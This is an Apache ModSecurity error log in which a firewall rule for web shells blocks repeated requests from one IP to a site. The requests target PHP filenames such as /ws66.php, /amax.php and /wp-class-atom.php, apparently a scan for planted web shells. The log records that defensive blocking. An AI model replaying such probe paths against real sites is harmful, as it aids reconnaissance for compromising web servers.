[Thu Apr 23 23:58:47.211772 2026] [:error] [pid 65000:tid 65046] [client 4.212.93.21:5627] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aepBt76vRb9j6psK2ZYG1gAAAg0"]
[Thu Apr 23 23:58:47.769314 2026] [:error] [pid 65000:tid 65047] [client 4.212.93.21:65479] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aepBt76vRb9j6psK2ZYG1wAAAg4"]
[Thu Apr 23 23:58:48.308345 2026] [:error] [pid 59700:tid 59712] [client 4.212.93.21:54089] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aepBuJXyGZJFeAIDWtlU9wAAAUo"]
[Thu Apr 23 23:58:48.808572 2026] [:error] [pid 25635:tid 25657] [client 4.212.93.21:5241] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aepBuMRxv6UsgRGKB3JCMAAAARI"]
[Thu Apr 23 23:58:49.327578 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:51892] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aepBuYV5EysYcTLjmwjhewAAAcc"]
[Thu Apr 23 23:58:49.952656 2026] [:error] [pid 43083:tid 43089] [client 4.212.93.21:34654] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aepBuTC5hrvNXosL83KU8AAAAMQ"]
[Thu Apr 23 23:58:50.746178 2026] [:error] [pid 25635:tid 25639] [client 4.212.93.21:58343] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aepBusRxv6UsgRGKB3JCMQAAAQA"]
[Thu Apr 23 23:58:51.421758 2026] [:error] [pid 65000:tid 65055] [client 4.212.93.21:65486] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aepBu76vRb9j6psK2ZYG3AAAAhY"]
[Thu Apr 23 23:58:52.250333 2026] [:error] [pid 65000:tid 65045] [client 4.212.93.21:5220] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aepBvL6vRb9j6psK2ZYG4QAAAgw"]
[Thu Apr 23 23:58:53.524212 2026] [:error] [pid 64998:tid 65010] [client 4.212.93.21:58361] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aepBvYV5EysYcTLjmwjhigAAAcg"]
[Thu Apr 23 23:58:54.349877 2026] [:error] [pid 25635:tid 25663] [client 4.212.93.21:58316] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aepBvsRxv6UsgRGKB3JCNgAAARg"]
[Thu Apr 23 23:58:55.256966 2026] [:error] [pid 46953:tid 46974] [client 4.212.93.21:51856] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aepBv0nlpdHh-P6wKbpczQAAAlI"]
[Thu Apr 23 23:58:57.288041 2026] [:error] [pid 43083:tid 43103] [client 4.212.93.21:55883] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aepBwTC5hrvNXosL83KU8QAAANI"]
[Thu Apr 23 23:58:58.347952 2026] [:error] [pid 59700:tid 59702] [client 4.212.93.21:51849] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aepBwpXyGZJFeAIDWtlU_AAAAUA"]
[Thu Apr 23 23:59:00.235614 2026] [:error] [pid 65000:tid 65030] [client 4.212.93.21:55881] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aepBxL6vRb9j6psK2ZYG6QAAAgE"]
[Thu Apr 23 23:59:04.386149 2026] [:error] [pid 64998:tid 65005] [client 4.212.93.21:40371] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aepByIV5EysYcTLjmwjhoAAAAcM"]
[Thu Apr 23 23:59:05.340336 2026] [:error] [pid 42972:tid 43024] [client 4.212.93.21:37186] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aepBycOAb-3sOknsk4eFtAAAAEg"]
[Thu Apr 23 23:59:06.806107 2026] [:error] [pid 42973:tid 43050] [client 4.212.93.21:37245] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aepBym6I0QqmmmLTHE1W3gAAAIc"]
[Thu Apr 23 23:59:07.710553 2026] [:error] [pid 64998:tid 65016] [client 4.212.93.21:58363] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aepBy4V5EysYcTLjmwjhogAAAc4"]
[Thu Apr 23 23:59:08.420415 2026] [:error] [pid 43083:tid 43102] [client 4.212.93.21:65521] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aepBzDC5hrvNXosL83KU9QAAANE"]
[Thu Apr 23 23:59:09.097477 2026] [:error] [pid 42973:tid 43066] [client 4.212.93.21:5200] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aepBzW6I0QqmmmLTHE1W4gAAAJc"]
[Thu Apr 23 23:59:10.100881 2026] [:error] [pid 42973:tid 43060] [client 4.212.93.21:65517] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aepBzm6I0QqmmmLTHE1W4wAAAJE"]
[Thu Apr 23 23:59:11.143334 2026] [:error] [pid 43083:tid 43088] [client 4.212.93.21:37242] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aepBzzC5hrvNXosL83KU9wAAAMM"]
[Thu Apr 23 23:59:13.621798 2026] [:error] [pid 65000:tid 65029] [client 4.212.93.21:37215] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aepB0b6vRb9j6psK2ZYHCgAAAgA"]
[Thu Apr 23 23:59:15.323009 2026] [:error] [pid 42973:tid 43052] [client 4.212.93.21:40347] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aepB026I0QqmmmLTHE1W7gAAAIk"]
[Thu Apr 23 23:59:16.761310 2026] [:error] [pid 64998:tid 65022] [client 4.212.93.21:34681] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aepB1IV5EysYcTLjmwjhrQAAAdQ"]
[Thu Apr 23 23:59:18.412680 2026] [:error] [pid 64967:tid 64979] [client 4.212.93.21:34656] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aepB1oAV4GfOOdX8QzqHsgAAAYo"]
[Thu Apr 23 23:59:19.139464 2026] [:error] [pid 64998:tid 65017] [client 4.212.93.21:58336] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aepB14V5EysYcTLjmwjhtAAAAc8"]
[Thu Apr 23 23:59:20.965612 2026] [:error] [pid 25635:tid 25648] [client 4.212.93.21:51883] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aepB2MRxv6UsgRGKB3JCQAAAAQk"]
[Thu Apr 23 23:59:29.362724 2026] [:error] [pid 64967:tid 64984] [client 4.212.93.21:5242] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aepB4YAV4GfOOdX8QzqHwAAAAY8"]
[Thu Apr 23 23:59:30.019559 2026] [:error] [pid 42972:tid 43019] [client 4.212.93.21:51871] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aepB4sOAb-3sOknsk4eFvwAAAEM"]
[Thu Apr 23 23:59:31.259408 2026] [:error] [pid 64998:tid 65017] [client 4.212.93.21:37237] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aepB44V5EysYcTLjmwjhwwAAAc8"]
[Thu Apr 23 23:59:32.101766 2026] [:error] [pid 42972:tid 43017] [client 4.212.93.21:40367] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aepB5MOAb-3sOknsk4eFwQAAAEE"]
[Thu Apr 23 23:59:32.906842 2026] [:error] [pid 65000:tid 65043] [client 4.212.93.21:54080] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aepB5L6vRb9j6psK2ZYHMQAAAgo"]
[Thu Apr 23 23:59:34.042785 2026] [:error] [pid 65000:tid 65030] [client 4.212.93.21:5586] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aepB5r6vRb9j6psK2ZYHOQAAAgE"]
[Thu Apr 23 23:59:35.259072 2026] [:error] [pid 42973:tid 43055] [client 4.212.93.21:34677] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aepB526I0QqmmmLTHE1XAQAAAIw"]
[Thu Apr 23 23:59:35.803624 2026] [:error] [pid 64967:tid 64978] [client 4.212.93.21:51895] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aepB54AV4GfOOdX8QzqHwgAAAYk"]
[Thu Apr 23 23:59:37.008969 2026] [:error] [pid 64967:tid 64975] [client 4.212.93.21:35275] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-atom.php"] [unique_id "aepB6YAV4GfOOdX8QzqHxQAAAYY"]
[Thu Apr 23 23:59:37.876581 2026] [:error] [pid 43083:tid 43098] [client 4.212.93.21:37232] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-atom.php"] [unique_id "aepB6TC5hrvNXosL83KVAAAAAM0"]
[Thu Apr 23 23:59:38.492696 2026] [:error] [pid 65000:tid 65048] [client 4.212.93.21:34627] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-atom.php"] [unique_id "aepB6r6vRb9j6psK2ZYHRAAAAg8"]
[Thu Apr 23 23:59:39.406029 2026] [:error] [pid 65000:tid 65032] [client 4.212.93.21:34680] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-atom.php"] [unique_id "aepB676vRb9j6psK2ZYHSAAAAgM"]
[Thu Apr 23 23:59:40.626886 2026] [:error] [pid 64998:tid 65004] [client 4.212.93.21:34655] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aepB7IV5EysYcTLjmwjhyAAAAcI"]
[Thu Apr 23 23:59:41.937516 2026] [:error] [pid 43083:tid 43085] [client 4.212.93.21:5243] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aepB7TC5hrvNXosL83KVAwAAAMA"]
[Thu Apr 23 23:59:43.619732 2026] [:error] [pid 59700:tid 59717] [client 4.212.93.21:40341] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aepB75XyGZJFeAIDWtlVDAAAAU8"]
[Thu Apr 23 23:59:44.862083 2026] [:error] [pid 64998:tid 65024] [client 4.212.93.21:58341] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aepB8IV5EysYcTLjmwjhygAAAdY"]
[Thu Apr 23 23:59:46.358508 2026] [:error] [pid 59700:tid 59704] [client 4.212.93.21:5194] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aepB8pXyGZJFeAIDWtlVDwAAAUI"]
[Thu Apr 23 23:59:46.941205 2026] [:error] [pid 64998:tid 65019] [client 4.212.93.21:37227] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aepB8oV5EysYcTLjmwjh0AAAAdE"]
[Thu Apr 23 23:59:47.652740 2026] [:error] [pid 42971:tid 42995] [client 4.212.93.21:55902] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aepB8zEP2_5RswrH8bE-9QAAAAk"]
[Thu Apr 23 23:59:48.301717 2026] [:error] [pid 64998:tid 65003] [client 4.212.93.21:5606] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aepB9IV5EysYcTLjmwjh1gAAAcE"]
[Thu Apr 23 23:59:48.890827 2026] [:error] [pid 64998:tid 65008] [client 4.212.93.21:37199] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aepB9IV5EysYcTLjmwjh2gAAAcY"]
[Thu Apr 23 23:59:49.543001 2026] [:error] [pid 46953:tid 46981] [client 4.212.93.21:54091] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aepB9UnlpdHh-P6wKbpc_QAAAlg"]
[Thu Apr 23 23:59:50.140952 2026] [:error] [pid 64998:tid 65026] [client 4.212.93.21:34659] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aepB9oV5EysYcTLjmwjh3AAAAdg"]
[Thu Apr 23 23:59:50.820510 2026] [:error] [pid 64998:tid 65019] [client 4.212.93.21:5609] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aepB9oV5EysYcTLjmwjh3gAAAdE"]
[Thu Apr 23 23:59:51.856028 2026] [:error] [pid 64998:tid 65008] [client 4.212.93.21:5206] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aepB94V5EysYcTLjmwjh4wAAAcY"]
[Thu Apr 23 23:59:52.896853 2026] [:error] [pid 64998:tid 65022] [client 4.212.93.21:5572] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aepB-IV5EysYcTLjmwjh6AAAAdQ"]
